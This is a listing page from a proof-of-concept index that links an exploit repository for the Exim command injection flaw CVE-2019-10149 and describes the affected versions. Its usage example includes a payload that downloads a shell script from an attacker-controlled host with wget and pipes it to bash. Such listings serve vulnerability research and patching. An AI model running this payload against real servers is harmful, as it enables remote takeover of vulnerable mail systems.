CVE-2019-10149 PoC — Exim 操作系统命令注入漏洞

Source

https://github.com/VoyagerOnne/Exim-CVE-2019-10149

Associated Vulnerability

Title:Exim 操作系统命令注入漏洞 (CVE-2019-10149)
Description:A flaw was found in Exim versions 4.87 to 4.91 (inclusive). Improper validation of recipient address in deliver_message() function in /src/deliver.c may lead to remote command execution.

Description

PoC for exploitation of vulnerability CVE-2019-10149

Readme

# Exim-CVE-2019-10149
- PoC for exploitation of vulnerability CVE-2019-10149

# Usage example
- python3 PoC.py --rhost 192.168.1.100 --lhost 10.10.10.10 --lport 4444 --payload '/bin/sh -c wget http://10.10.10.10:8000/shell.sh -O - | bash'

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!